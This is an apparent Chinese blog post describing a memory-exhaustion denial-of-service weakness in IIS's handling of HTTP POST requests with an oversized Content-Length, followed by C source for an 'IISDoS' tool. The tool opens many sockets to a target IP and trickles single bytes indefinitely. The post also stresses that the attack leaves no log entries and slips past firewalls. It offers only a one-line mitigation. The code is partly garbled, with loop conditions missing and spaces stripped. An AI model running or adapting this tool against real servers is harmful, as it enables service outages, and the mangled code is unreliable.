`
soardragon
  • 浏览: 316790 次
  • 性别: Icon_minigender_1
  • 来自: 郑州
社区版块
存档分类
最新评论

HTTP协议Content Lenth限制漏洞导致拒绝服务攻击

阅读更多

漏洞描述:
在HTTP协议中,当使用POST方法时,可以设置ContentLenth来定义需要传送的数据长度,但是HTTP协议中并没有对ContentLenth的大小进行限制,这使得拒绝服务-内存耗尽攻击成为可能。
在IIS中,用户POST数据时,系统先将用户上传的数据存放在内存中,当用户完成数据传送(数据的长度达到ContentLenth时),IIS再将这块内存交给特定的

文件或CGI处理;如果用户POST非常大的数据(通过多次数据发送)例如ContentLenth:999999999,在传送完成前,内存不会释放,攻击者可以利用这个缺陷,连续向WEB服务器发送垃圾数据直至WEB服务器内存耗尽。在Web服务器内存不足的时候,我们可以明显的看到系统速度下降、硬盘读写增多(缓存)等现象的出现。

值得注意的是,这种攻击方法基本不会留下痕迹:
首先,由於数据传送不会完成(只要ContentLenth足够大,比如Content-Length:2147483647),所以IIS日无法记录(IIS日是在操作完成後才记录的)

其次,由於进行的是正常的POST操作,而且数据是缓慢送入WEB服务器的,因此防火墙很难发现这样的操作。(除非在防火墙上
对ContentLenth进行监测)

第三,这种攻击对於攻击者的主机来说几乎没有任何负荷,既不会消耗CPU更不会占用内存,最多是占用了部分带宽。

解决方法:
编写相应的Filter,对於过大的ContentLenth进行过滤。

漏洞测试:
以下的程式可以测试你的服务器是否有ContentLenth漏洞:

//IISDoS
//ByShotgun
//shotgun@xici.net

voidIISDos()
{
intnet[2048],Counter=0,K=0,i,j;
structsockaddr_insa;
charsend_data[1024]="POST/default.aspHTTP/1.1\nHost:xici.net\nContent-Type:text/html\nContent-Length:

2147483647\n\r";
char*send_char;
WSADATAWSAData;
strncpy((char*)&sa,"",sizeofsa);
sa.sin_family=AF_INET;
sa.sin_port=htons(80);
sa.sin_addr.s_addr=inet_addr(Attack_IP);
send_char=(char*)malloc(sizeof(char));
for(i=0;i{
if((net[i]=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET)
{
printf("Allocatingscoket%dfalid.\ErrorCode:n",i);
exit(0);
}
if((connect(net[i],(structsockaddr*)&sa,sizeofsa))!=0)
{
printf("Connect%dfailed.ErrorCode:%d\n",i,GetLastError());
for(i=0;iWSACleanup();
exit(0);
}
if(send(net[i],send_data,sizeof(send_data),0)==SOCKET_ERROR)
{
printf("Sending%ddatatotheserverfailed1.ErrorCode:%d\n",i,GetLastError());
exit(0);
}
for(j=0;jif(send(net[i],"A",1,0)==SOCKET_ERROR)
{
printf("Sending%dKeepalivedatafailed.ErrorCode:%d\n",i,GetLastError());
exit(0);
}
Sleep(200);
}
while(1)
{
for(i=0;iif(send(net[i],"A",1,0)==SOCKET_ERROR)
{
printf("Sending%ddatafailed.ErrorCode:%d\n",i,GetLastError());
closesocket(net[i]);
WSACleanup();
exit(0);
}
else
{
Counter++;
if(Counter==1024)
{
Counter=0;
K++;
printf("%dKb",K);
}
Sleep(DelayTime);
}
}
for(i=0;iclosesocket(net[i]);
WSACleanup();
}

 

分享到:
评论

相关推荐

    杜亚窗帘电机协议.pdf

    杜亚窗帘电机协议.pdf 杜亚窗帘电机协议是ISO标准下的一个窗帘电机控制协议,以下是该协议的详细知识点: 1. 打开命令: 打开命令的格式为:START ID0 ID1 FUNCTION CONTROL CHECK 其中,START为0x55,ID0和ID1...

    杜亚窗帘电机协议(20211005213819).pdf

    杜亚窗帘电机协议 本文档介绍了杜亚窗帘电机协议的详细信息,该协议用于控制和监控窗帘电机的状态。该协议使用了PLC(Programmable Logic Controller)技术来实现对窗帘电机的控制和监控。 1. 打开命令 打开命令...

    杜亚窗帘电机协议(20211005210648).pdf

    "PLC协议在杜亚窗帘电机系统中的应用" 杜亚窗帘电机协议是一个基于PLC(可编程逻辑控制器)技术的协议,用于控制和监控窗帘电机的运行状态。该协议定义了一系列的命令和响应格式,以便于窗帘电机和室内主机之间的...

    珠江开关电源系统电源监控协议VER-2PRS0500B2000HAPRS3004A.pdf

    "珠江开关电源系统电源监控协议VER-2PRS0500B2000HAPRS3004A" 本文档主要介绍了珠江开关电源系统电源监控协议VER-2PRS0500B2000HAPRS3004A的内容,包括物理接口和通信方式、协议的基本格式、数据格式、设备类型编码...

    VC++训练素材(求两点间的距离习题LENTH)

    【VC++训练素材——求两点间距离习题LENTH】是一个专门为VC++初学者设计的实践项目,旨在帮助学习者巩固C++基础知识,尤其是与对象、构造函数、拷贝构造函数、析构函数以及类的继承相关的概念。下面将详细阐述这些...

    单片机与上位机通信协议的制定.doc

    单片机与上位机通信协议的制定 单片机与上位机通信协议的制定是计算机科学和电子工程中的一种重要技术,涉及到单片机和上位机之间的数据交换。为了实现单片机和上位机之间的通信,需要制定一套明确的通信协议。 ...

    last_word_lenth.zip_Last Word

    本题"last_word_lenth.zip_Last Word"属于华为在线训练场的初级题目,主要目标是编程求解一个字符串中的最后一个单词的长度。这类问题通常涉及到字符串的处理、分割、遍历以及基本的逻辑判断。 首先,我们需要理解...

    杜亚窗帘电机协议(20211005210720).pdf

    杜亚窗帘电机协议 杜亚窗帘电机协议是一种基于PLC(Programmable Logic Controller,程序逻辑控制器)的通信协议,用于控制和监控窗帘电机的运行状态。该协议定义了一系列命令和响应格式,以实现窗帘电机的远程控制...

    max_pulic_substring_lenth.zip_华为OJ

    在IT领域,字符串处理是编程竞赛和面试中常见的问题类型,尤其在华为OJ(Online Judge)这样的在线编程挑战平台上。本题“max_public_substring_length”涉及的是寻找两个字符串的最大公共子串长度,这是一个经典的...

    13.56MHz原理机串口通讯协议1

    13.56MHz原理机串口通讯协议1主要涉及的是13.56MHz频段下基于ISO15693协议的RFID技术,包括原理机模块与15693标签间的通信以及原理机模块与串口终端(如PC或ARM设备)之间的通信协议。ISO15693协议是一套国际标准,...

    ARM核心内部NIC-400总线架构手册

    该架构支持多种协议和数据速率,能够满足不同应用场景的需求。 二、ARM核心内部NIC-400总线架构架构 ARM核心内部NIC-400总线架构由多个模块组成,包括Network Interconnect Controller、Router、Switch、Network ...

    宏晶STC15系列单片机串口驱动程序

    #define COM_TX1_Lenth 128 #define COM_RX1_Lenth 128 #define COM_TX2_Lenth 128 #define COM_RX2_Lenth 128 #define USART1 1 #define USART2 2 #define UART_ShiftRight 0 //同步移位输出 #define UART_...

    C冒泡排序发

    int lenth=sizeof(table)/sizeof(table[0]); for(i=0;i<lenth;i++) { if(table[i][i+1]){ table[i]=temp; table[i]=table[i+1]; table[i+1]=temp; } } for(j=0;j<lenth;j++) { ...

    人工智能-数据分析-无重复析因试验数据分析的若干方法的比较.pdf

    由于缺乏重复观测,无法估计误差方差,导致传统的方差分析方法不再适用。 【无重复析因试验的挑战与解决方法】 无重复析因试验的主要挑战在于如何在无法估计误差方差的情况下识别显著效应。早期的方法如Daniel...

    jdk-8u161-windows-x64

    我分析的目标分类随时间的变化各参数的系数会产生变化,比如,用softmax对...print ("lenth: d/d cost: %.9f train_acc: %.3f test_acc: %.3f" % (lenth, training_epochs, avg_cost, train_acc, test_acc))#打印方法

    tcp/udp/icmp/ip 校验和计算C代码和结果

    ip lenth:20,prot=6. ori sum = 0xf092,ip cksum:0xf092 tcp head lenth:32,tcplen=32 tcp.saddr = 0xc7212101,daddr=0xc7212121,tcpsum=0x1d08a ori sum = 0x51ba,tcp cksum:0x51ba f2bb 85c9 7d22 000a 3500 2201 ...

    VB-MODBUS实现源码.doc

    在VB-MODBUS实现源码中,我们看到的是一个基于Visual Basic(VB)编写的MODBUS通信协议的实现。MODBUS是一种广泛使用的工业通信协议,它允许设备间进行串行通信,尤其适用于PLC(可编程逻辑控制器)和其他工业电子设备...

    基于VBA的作者查重代码

    lenth = lenth - 1 Selection.Find.ClearFormatting With Selection.Find .Text = w1 .Replacement.Text = "" .Forward = False .Wrap = wdFindContinue End With Do While Selection.Find.Execute ...

Global site tag (gtag.js) - Google Analytics